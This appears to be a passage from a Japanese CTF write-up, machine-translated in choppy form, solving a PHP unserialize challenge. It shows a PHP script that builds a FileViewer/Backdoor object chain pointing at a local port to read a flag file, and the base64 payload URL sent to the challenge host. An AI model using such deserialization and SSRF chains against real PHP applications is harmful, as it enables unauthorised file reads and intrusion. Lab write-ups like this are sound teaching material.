exp を構築するとき、フィルタリングされないように値を変更できますflag
。結局、通常の一致はフィルタリングされ、トリガーのunserialize
前に Base64 デコードが実行されることに注意してください。
構築経験値
<?php
class FileViewer{
public $black_list;
public $local;
public $path;
public function __construct()
{
$this->black_list="web so difficult~";
$this->local='take it easy';
$this->path="flag";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker;
public function __construct()
{
$this->a=new FileViewer();
$this->b="local";
$this->superhacker="127.0.0.1:65500/";
}
}
$a=new Backdoor();
$b=new FileViewer();
$b->local=$a;
echo base64_encode(serialize($b))
?>
ここで構築中に落とし穴があって、最初はオブジェクトが一つしか作成されていなかったのでBackdoor
そのBackdoor
中にインクルードしていたのですFileViewer
が、デシリアライズ後はloadfile
実行した関数に対してクラスしか存在しなかったのでインクルードしFileViewer
なければならなかったのです。FileViewer
Backdoor
ビルドを実行する
TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=
path_info
受け渡しパラメータを使用する
ペイロードを構築します。
http://node5.anna.nssctf.cn:28686/?path_info=TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO086ODoiQmFja2Rvb3IiOjM6e3M6MToiYSI7TzoxMDoiRmlsZVZpZXdlciI6Mzp7czoxMDoiYmxhY2tfbGlzdCI7czoxNzoid2ViIHNvIGRpZmZpY3VsdH4iO3M6NToibG9jYWwiO3M6MTI6InRha2UgaXQgZWFzeSI7czo0OiJwYXRoIjtzOjQ6ImZsYWciO31zOjE6ImIiO3M6NToibG9jYWwiO3M6MTE6InN1cGVyaGFja2VyIjtzOjE2OiIxMjcuMC4wLjE6NjU1MDAvIjt9czo0OiJwYXRoIjtzOjQ6ImZsYWciO30=
フラグを取得
Base64デコード後にフラグを取得